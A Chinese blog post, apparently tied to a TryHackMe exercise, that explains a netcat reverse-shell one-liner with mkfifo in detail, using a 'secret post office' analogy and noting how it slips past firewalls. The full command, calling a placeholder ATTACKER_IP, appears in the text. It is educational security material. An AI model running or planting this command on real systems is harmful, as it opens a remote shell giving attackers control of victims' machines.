当前位置: 首页 > ops >正文

tryhackme 之反弹 shell 理解

在这里插入图片描述

好的,同学,我们来看一下这张图里的这串“咒语”。

别看它长得奇奇怪怪,这其实是咱们“道上”一种非常经典且巧妙的技巧,叫做**“反弹shell” (Reverse Shell)**。

这串命令就是一条“秘密情报专线”。它的目的是在目标电脑(我们称之为“肉鸡”)上打开一个后门,让这台电脑主动来连接我们,然后我们就可以在自己家里舒舒服服地远程操控它了。

咱们还是用生活中合理的比喻,把它拆开揉碎了讲。


核心比喻:建立一个“秘密邮局”

想象一下,你想和肉鸡内部的一个“内应”(Shell,也就是命令解释器)建立长期联系,让他帮你干活。但肉鸡的“大门”(防火墙)看得非常严,你主动送信(建立连接)过去,很容易被门卫拦下。

怎么办呢?聪明的办法是,让“内应”主动把信送出来给你。

这串命令,就是在肉鸡家里建立一个临时的“秘密邮局”,来完成这个任务。

命令原文:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

我们来一步一步看这个“邮局”是怎么建成的:

第一步:选址和清理

rm -f /tmp/f

  • 命令解释: rm 是删除文件,-f 是强制执行。这句的意思是,强制删除掉 /tmp/f 这个文件(如果它存在的话)。
  • 生活比喻: 在建立我们的秘密邮局之前,先去 /tmp 这个“公共广场”上,找到代号为 f 的位置。如果这个位置已经被别人占了(有了一个叫 f 的文件),咱就把它先强行清理掉,确保这块地是干净的,归我们用。
第二步:建造“邮筒”

mkfifo /tmp/f

  • 命令解释: mkfifo 是创建一个“命名管道”(Named Pipe)。这是一种非常特殊的文件。
  • 生活比喻: 在清理干净的 f 位置上,我们不盖房子,而是放一个特制的“邮筒”(命名管道)。这个邮筒很神奇,它有两个口,一个“收信口”和一个“出信口”。从“收信口”投进去的信,会立刻从“出信口”出来。它本身不存信,只是一个即时通道。
第三步:安排“收信员”和“执行官”

cat /tmp/f | sh -i 2>&1

这部分由两个命令通过一个管道符 | 连接,我们分开看:

  1. cat /tmp/f:

    • 命令解释: cat 命令在这里的作用是读取我们那个神奇邮筒 /tmp/f 的内容。
    • 生活比喻: 我们安排了一个叫 cat 的“收信员”。他啥也不干,就死死地守在邮筒的“出信口”,一旦有信出来,他立刻就拿起来读。
  2. | sh -i 2>&1:

    • 命令解释: | (管道符) 的作用是把左边命令的输出,作为右边命令的输入。sh -i 是启动一个可交互的 Shell (命令解释器)。2>&1 是个小技巧,意思是把错误信息和正确信息合并到一起输出。
    • 生活比喻: “收信员”cat 拿到信之后,通过 | 这个内部通道,立刻把信的内容(也就是我们攻击者发来的指令)递给了旁边一位叫 sh 的“执行官”。这位执行官非常厉害,能在电脑里执行任何命令。而且他很严谨,不管是执行成功的结果,还是执行失败的报错信息 (2>&1),他都会记录下来,准备汇报。
第四步:建立“对外联络热线”

| nc ATTACKER_IP ATTACKER_PORT

  • 命令解释: 这里的 | 再次发挥作用。“执行官”sh 的所有输出(执行结果),都被送给了 nc (Netcat) 命令。nc 在这里的作用是连接到攻击者的IP (ATTACKER_IP) 和指定端口 (ATTACKER_PORT)。
  • 生活比喻: “执行官”把处理结果,交给了一位叫 nc 的“通讯兵”。这位通讯兵有一部“专线电话”,能直接拨通我们攻击者在家里准备好的接听电话 (ATTACKER_IPATTACKER_PORT),然后把结果一字不差地汇报给我们。
第五步:形成完美闭环(最精髓的一步!)

>/tmp/f

  • 命令解释: > 是重定向符,它把左边命令(也就是 nc)的输入,写入到右边的文件里。
  • 生活比喻: 这是整个情报系统最妙的地方!“通讯兵”nc 不仅负责汇报结果,他还负责接听我们攻击者从电话那头下达的新指令。而他接到的新指令,会直接被他扔进我们之前建好的那个神奇“邮筒” /tmp/f 的“收信口”。

总结一下整个流程:

  1. 我们在肉鸡上建好了一个叫 /tmp/f 的神奇邮筒。
  2. 我们(攻击者)在自己电脑上通过 nc 下达第一条指令,比如 ls -l(列出文件)。
  3. 这条指令通过“专线电话”传给肉鸡上的“通讯兵”nc
  4. “通讯兵”nc 把指令 ls -l 扔进“邮筒” /tmp/f
  5. “收信员”cat 立刻从邮筒另一头拿到指令,递给“执行官”sh
  6. “执行官”sh 执行 ls -l,得到文件列表。
  7. “执行官”sh 把文件列表这个结果,交给“通讯兵”nc
  8. “通讯兵”nc 通过“专线电话”把文件列表汇报给我们。

看到了吗?这就形成了一个完美的闭环。我们不断地下达指令,它不断地执行并返回结果。我们就这样神不知鬼不觉地拥有了这台电脑的完整控制权。

因为整个连接是肉鸡主动发起的(反弹),所以能很大概率地绕过防火墙的限制。这就是它高明的地方。

希望这个“秘密邮局”的比喻能帮你理解这串命令的精髓。

http://www.xdnf.cn/news/13449.html

相关文章:

  • FastAPI的数据契约:Pydantic与SQLModel联手打造健壮API
  • 斐讯N1部署Armbian与CasaOS实现远程存储管理
  • JS之Dom模型和Bom模型
  • strs[0] == “0“是否为字符串内容比较
  • 在GIS 工作流中实现数据处理(2)
  • 想考Kubernetes认证?CKA考试内容与报名全解析
  • 华测CGI-430配置
  • RAG文档解析难点3:Excel多层表头的智能解析与查询方法
  • Linux操作系统-性能优化
  • 电路图识图基础知识-行程开关自动往返运行控制电路详解(二十三)
  • SSL错误无法建立安全连接
  • BIRT交叉表维度自定义排序
  • Spring Cloud与Alibaba微服务架构全解析
  • vue封装移动端日历,可折叠展开,以及考勤
  • 大模型在输尿管下段积水预测及临床应用的研究
  • 计算机网络第3章(上):数据链路层全解析——组帧、差错控制与信道效率
  • 【期末速成】软件项目管理
  • 最长和谐子序列
  • A. Dr. TC
  • 产品升级 | 新一代高性能数据采集平台BRICK2 X11,助力ADAS与自动驾驶开发
  • MatAnyone本地部署,视频分割处理,绿幕抠像(WIN/MAC)
  • YOLOv1 技术详解:正负样本划分与置信度设计
  • 【unitrix】1.1 密封模式(srcsealed.rs)
  • SQL29 验证刷题效果,输出题目真实通过率
  • Spring声明式事务生效是有条件滴!
  • 达梦数据库单机部署dmhs同步复制(dm8->kafka)
  • MFC 第1章:适配 WIndows 编程的软件界面调整
  • 如何诊断服务器硬盘故障?出现硬盘故障如何处理比较好?
  • 【沉浸式解决问题】Idea运行Junit测试中scanner无法获取控制台的输入内容
  • 山东大学软件学院项目实训-基于大模型的模拟面试系统-面试对话标题自动总结